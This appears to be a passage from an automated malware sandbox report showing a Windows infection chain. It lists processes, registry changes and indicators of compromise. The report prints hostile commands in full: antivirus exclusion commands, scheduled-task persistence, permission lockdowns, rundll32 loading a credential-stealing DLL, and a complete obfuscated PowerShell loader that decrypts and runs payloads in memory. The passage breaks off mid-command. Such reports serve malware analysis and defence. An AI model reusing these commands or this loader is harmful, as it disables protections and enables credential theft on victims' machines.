Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 820074001c004346534616003100000000005456c795120041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe5456c7957b567d4e2e00000091e101000000010000000000000000000000000000008c815d004100700070004400610074006100000042000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	Explorer.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

Explorer.EXE

pid process

3172 Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

file.exetaskmgr.exeExplorer.EXE

pid	process
1500	file.exe
1500	file.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
2972	taskmgr.exe
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
2972	taskmgr.exe
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
2972	taskmgr.exe
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

taskmgr.exeExplorer.EXE

pid process

2972 taskmgr.exe
3172 Explorer.EXE
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

668

pid	process
668

Suspicious behavior: MapViewOfSection 22 IoCs

Processes:

file.exeEA37.exe5EE.exeExplorer.EXEwjtarai

pid	process
1500	file.exe
392	EA37.exe
3396	5EE.exe
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
1908	wjtarai

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

taskmgr.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	2972	taskmgr.exe
Token: SeSystemProfilePrivilege	2972	taskmgr.exe
Token: SeCreateGlobalPrivilege	2972	taskmgr.exe
Token: SeSecurityPrivilege	2972	taskmgr.exe
Token: SeTakeOwnershipPrivilege	2972	taskmgr.exe
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeSecurityPrivilege	2972	taskmgr.exe
Token: SeTakeOwnershipPrivilege	2972	taskmgr.exe
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exe

pid	process
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exe

pid	process
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe
2972	taskmgr.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

Explorer.EXE

pid	process
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXEE3BD.exeE3BD.exeE3BD.exeE3BD.exebuild3.exe19A7.exePlayer3.exenbveek.exe

description	pid	process	target process
PID 3172 wrote to memory of 4496	3172	Explorer.EXE	E3BD.exe
PID 3172 wrote to memory of 4496	3172	Explorer.EXE	E3BD.exe
PID 3172 wrote to memory of 4496	3172	Explorer.EXE	E3BD.exe
PID 4496 wrote to memory of 1116	4496	E3BD.exe	E3BD.exe
PID 4496 wrote to memory of 1116	4496	E3BD.exe	E3BD.exe
PID 4496 wrote to memory of 1116	4496	E3BD.exe	E3BD.exe
PID 4496 wrote to memory of 1116	4496	E3BD.exe	E3BD.exe
PID 4496 wrote to memory of 1116	4496	E3BD.exe	E3BD.exe
PID 4496 wrote to memory of 1116	4496	E3BD.exe	E3BD.exe
PID 4496 wrote to memory of 1116	4496	E3BD.exe	E3BD.exe
PID 4496 wrote to memory of 1116	4496	E3BD.exe	E3BD.exe
PID 4496 wrote to memory of 1116	4496	E3BD.exe	E3BD.exe
PID 4496 wrote to memory of 1116	4496	E3BD.exe	E3BD.exe
PID 3172 wrote to memory of 392	3172	Explorer.EXE	EA37.exe
PID 3172 wrote to memory of 392	3172	Explorer.EXE	EA37.exe
PID 3172 wrote to memory of 392	3172	Explorer.EXE	EA37.exe
PID 3172 wrote to memory of 4520	3172	Explorer.EXE	ED16.exe
PID 3172 wrote to memory of 4520	3172	Explorer.EXE	ED16.exe
PID 3172 wrote to memory of 4520	3172	Explorer.EXE	ED16.exe
PID 1116 wrote to memory of 3212	1116	E3BD.exe	icacls.exe
PID 1116 wrote to memory of 3212	1116	E3BD.exe	icacls.exe
PID 1116 wrote to memory of 3212	1116	E3BD.exe	icacls.exe
PID 1116 wrote to memory of 212	1116	E3BD.exe	E3BD.exe
PID 1116 wrote to memory of 212	1116	E3BD.exe	E3BD.exe
PID 1116 wrote to memory of 212	1116	E3BD.exe	E3BD.exe
PID 212 wrote to memory of 3696	212	E3BD.exe	E3BD.exe
PID 212 wrote to memory of 3696	212	E3BD.exe	E3BD.exe
PID 212 wrote to memory of 3696	212	E3BD.exe	E3BD.exe
PID 212 wrote to memory of 3696	212	E3BD.exe	E3BD.exe
PID 212 wrote to memory of 3696	212	E3BD.exe	E3BD.exe
PID 212 wrote to memory of 3696	212	E3BD.exe	E3BD.exe
PID 212 wrote to memory of 3696	212	E3BD.exe	E3BD.exe
PID 212 wrote to memory of 3696	212	E3BD.exe	E3BD.exe
PID 212 wrote to memory of 3696	212	E3BD.exe	E3BD.exe
PID 212 wrote to memory of 3696	212	E3BD.exe	E3BD.exe
PID 3172 wrote to memory of 3396	3172	Explorer.EXE	5EE.exe
PID 3172 wrote to memory of 3396	3172	Explorer.EXE	5EE.exe
PID 3172 wrote to memory of 3396	3172	Explorer.EXE	5EE.exe
PID 3172 wrote to memory of 3676	3172	Explorer.EXE	851.exe
PID 3172 wrote to memory of 3676	3172	Explorer.EXE	851.exe
PID 3172 wrote to memory of 3676	3172	Explorer.EXE	851.exe
PID 3696 wrote to memory of 780	3696	E3BD.exe	build3.exe
PID 3696 wrote to memory of 780	3696	E3BD.exe	build3.exe
PID 3696 wrote to memory of 780	3696	E3BD.exe	build3.exe
PID 780 wrote to memory of 4832	780	build3.exe	schtasks.exe
PID 780 wrote to memory of 4832	780	build3.exe	schtasks.exe
PID 780 wrote to memory of 4832	780	build3.exe	schtasks.exe
PID 3172 wrote to memory of 3048	3172	Explorer.EXE	19A7.exe
PID 3172 wrote to memory of 3048	3172	Explorer.EXE	19A7.exe
PID 3172 wrote to memory of 3048	3172	Explorer.EXE	19A7.exe
PID 3048 wrote to memory of 3792	3048	19A7.exe	Player3.exe
PID 3048 wrote to memory of 3792	3048	19A7.exe	Player3.exe
PID 3048 wrote to memory of 3792	3048	19A7.exe	Player3.exe
PID 3048 wrote to memory of 4092	3048	19A7.exe	ss31.exe
PID 3048 wrote to memory of 4092	3048	19A7.exe	ss31.exe
PID 3048 wrote to memory of 4996	3048	19A7.exe	XandETC.exe
PID 3048 wrote to memory of 4996	3048	19A7.exe	XandETC.exe
PID 3792 wrote to memory of 4576	3792	Player3.exe	nbveek.exe
PID 3792 wrote to memory of 4576	3792	Player3.exe	nbveek.exe
PID 3792 wrote to memory of 4576	3792	Player3.exe	nbveek.exe
PID 4576 wrote to memory of 4160	4576	nbveek.exe	schtasks.exe
PID 4576 wrote to memory of 4160	4576	nbveek.exe	schtasks.exe
PID 4576 wrote to memory of 4160	4576	nbveek.exe	schtasks.exe
PID 4576 wrote to memory of 3232	4576	nbveek.exe	cmd.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe

outlook_win_path 1 IoCs

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3172

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1500

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
2⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2972

C:\Users\Admin\AppData\Local\Temp\E3BD.exe
C:\Users\Admin\AppData\Local\Temp\E3BD.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4496

C:\Users\Admin\AppData\Local\Temp\E3BD.exe
C:\Users\Admin\AppData\Local\Temp\E3BD.exe
3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1116

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\4dbd1898-d200-4d2a-b39c-a640ea533983" /deny *S-1-1-0:(OI)(CI)(DE,DC)
4⤵
- Modifies file permissions
PID:3212

C:\Users\Admin\AppData\Local\Temp\E3BD.exe
"C:\Users\Admin\AppData\Local\Temp\E3BD.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:212

C:\Users\Admin\AppData\Local\Temp\E3BD.exe
"C:\Users\Admin\AppData\Local\Temp\E3BD.exe" --Admin IsNotAutoStart IsNotTask
5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3696

C:\Users\Admin\AppData\Local\7e557038-2294-4470-b05e-035177f746a6\build3.exe
"C:\Users\Admin\AppData\Local\7e557038-2294-4470-b05e-035177f746a6\build3.exe"
6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:780

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
7⤵
- Creates scheduled task(s)
PID:4832

C:\Users\Admin\AppData\Local\Temp\EA37.exe
C:\Users\Admin\AppData\Local\Temp\EA37.exe
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:392

C:\Users\Admin\AppData\Local\Temp\ED16.exe
C:\Users\Admin\AppData\Local\Temp\ED16.exe
2⤵
- Executes dropped EXE
PID:4520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4520 -s 340
3⤵
- Program crash
PID:1312

C:\Users\Admin\AppData\Local\Temp\5EE.exe
C:\Users\Admin\AppData\Local\Temp\5EE.exe
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3396

C:\Users\Admin\AppData\Local\Temp\851.exe
C:\Users\Admin\AppData\Local\Temp\851.exe
2⤵
- Executes dropped EXE
PID:3676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 340
3⤵
- Program crash
PID:3856

C:\Users\Admin\AppData\Local\Temp\19A7.exe
C:\Users\Admin\AppData\Local\Temp\19A7.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3048

C:\Users\Admin\AppData\Local\Temp\Player3.exe
"C:\Users\Admin\AppData\Local\Temp\Player3.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3792

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4576

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
5⤵
- Creates scheduled task(s)
PID:4160

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
5⤵
PID:3232

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
6⤵
PID:5108

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
6⤵
PID:3976

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
6⤵
PID:1900

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
6⤵
PID:232

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:N"
6⤵
PID:3612

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:R" /E
6⤵
PID:4984

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
5⤵
- Loads dropped DLL
PID:5060

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
6⤵
- Loads dropped DLL
PID:1460

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1460 -s 652
7⤵
- Program crash
PID:4064

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
5⤵
- Loads dropped DLL
PID:4256

C:\Users\Admin\AppData\Local\Temp\ss31.exe
"C:\Users\Admin\AppData\Local\Temp\ss31.exe"
3⤵
- Executes dropped EXE
PID:4092

C:\Users\Admin\AppData\Local\Temp\XandETC.exe
"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
PID:4996

C:\Users\Admin\AppData\Local\Temp\2810.exe
C:\Users\Admin\AppData\Local\Temp\2810.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:3796

C:\Users\Admin\AppData\Local\Temp\Player3.exe
"C:\Users\Admin\AppData\Local\Temp\Player3.exe"
3⤵
- Executes dropped EXE
PID:5012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 1520
3⤵
- Program crash
PID:1908

C:\Users\Admin\AppData\Local\Temp\88BF.exe
C:\Users\Admin\AppData\Local\Temp\88BF.exe
2⤵
- Executes dropped EXE
PID:1128

C:\Users\Admin\AppData\Local\Temp\BAFB.exe
C:\Users\Admin\AppData\Local\Temp\BAFB.exe
2⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
PID:2904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:1068

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C424.bat" "
2⤵
PID:3612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -c #
3⤵
PID:4712

C:\Users\Admin\AppData\Local\Temp\C424.bat.exe
"C:\Users\Admin\AppData\Local\Temp\C424.bat.exe" function PX($c){$c.Replace('EOIUi', '')}$UcNH=PX 'GeEOIUitCurEOIUirenEOIUitPrEOIUioceEOIUissEOIUi';$LMam=PX 'REOIUieaEOIUidLEOIUiinEOIUieEOIUisEOIUi';$nIei=PX 'CEOIUihEOIUiangEOIUieEOIUiExteEOIUinEOIUisiEOIUionEOIUi';$GDjp=PX 'InEOIUivokEOIUieEOIUi';$cJOL=PX 'FEOIUiirsEOIUitEOIUi';$bNvC=PX 'EntrEOIUiyPoEOIUiiEOIUintEOIUi';$ZDDe=PX 'FroEOIUimBEOIUiaseEOIUi64SEOIUitrEOIUiingEOIUi';$wEka=PX 'LoaEOIUidEOIUi';$xsru=PX 'CreEOIUiatEOIUieDEOIUiecrEOIUiyEOIUipEOIUitoEOIUirEOIUi';$JaHM=PX 'TrEOIUianEOIUisforEOIUimFEOIUiinEOIUialEOIUiBlEOIUiockEOIUi';function AyMSx($aADFu){$mkeZq=[System.Security.Cryptography.Aes]::Create();$mkeZq.Mode=[System.Security.Cryptography.CipherMode]::CBC;$mkeZq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$mkeZq.Key=[System.Convert]::$ZDDe('33o4mPrkfBEGS8RPjJSCxTGdyodbZrRhtRuNUH5rzRk=');$mkeZq.IV=[System.Convert]::$ZDDe('Pw0jyFBtnQYUrNsqUX5AOg==');$kgbNu=$mkeZq.$xsru();$gGieg=$kgbNu.$JaHM($aADFu,0,$aADFu.Length);$kgbNu.Dispose();$mkeZq.Dispose();$gGieg;}function QpgTW($aADFu){$lUmJr=New-Object System.IO.MemoryStream(,$aADFu);$vxHfp=New-Object System.IO.MemoryStream;$CEpcv=New-Object System.IO.Compression.GZipStream($lUmJr,[IO.Compression.CompressionMode]::Decompress);$CEpcv.CopyTo($vxHfp);$CEpcv.Dispose();$lUmJr.Dispose();$vxHfp.Dispose();$vxHfp.ToArray();}function jfGQF($aADFu,$OnnHT){[System.Reflection.Assembly]::$wEka([byte[]]$aADFu).$bNvC.$GDjp($null,$OnnHT);}$oEcWz=[System.Linq.Enumerable]::$cJOL([System.IO.File]::$LMam([System.IO.Path]::$nIei([System.Diagnostics.Process]::$UcNH().MainModule.FileName, $null)));$fmJXF = $oEcWz.Substring(3).Split('\');$xAiAZ=QpgTW (AyMSx ([Convert]::$ZDDe($fmJXF[0])));$AjQdR=QpgTW (AyMSx ([Convert]::$ZDDe($fmJXF[1])));jfGQF $AjQdR $null;jfGQF $xAiAZ $null;
3⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
PID:3328

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3328);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
4⤵
PID:1312

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
4⤵
PID:4108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\C424')
4⤵
PID:5108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_JGAbA' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\JGAbA.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
PID:2228

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\JGAbA.vbs"
4⤵
- Checks computer location settings
PID:4016

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\JGAbA.bat" "
5⤵
PID:4240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -c #
6⤵
PID:1984

C:\Users\Admin\AppData\Roaming\JGAbA.bat.exe
"C:\Users\Admin\AppData\Roaming\JGAbA.bat.exe" function PX($c){$c.Replace('EOIUi', '')}$UcNH=PX 'GeEOIUitCurEOIUirenEOIUitPrEOIUioceEOIUissEOIUi';$LMam=PX 'REOIUieaEOIUidLEOIUiinEOIUieEOIUisEOIUi';$nIei=PX 'CEOIUihEOIUiangEOIUieEOIUiExteEOIUinEOIUisiEOIUionEOIUi';$GDjp=PX 'InEOIUivokEOIUieEOIUi';$cJOL=PX 'FEOIUiirsEOIUitEOIUi';$bNvC=PX 'EntrEOIUiyPoEOIUiiEOIUintEOIUi';$ZDDe=PX 'FroEOIUimBEOIUiaseEOIUi64SEOIUitrEOIUiingEOIUi';$wEka=PX 'LoaEOIUidEOIUi';$xsru=PX 'CreEOIUiatEOIUieDEOIUiecrEOIUiyEOIUipEOIUitoEOIUirEOIUi';$JaHM=PX 'TrEOIUianEOIUisforEOIUimFEOIUiinEOIUialEOIUiBlEOIUiockEOIUi';function 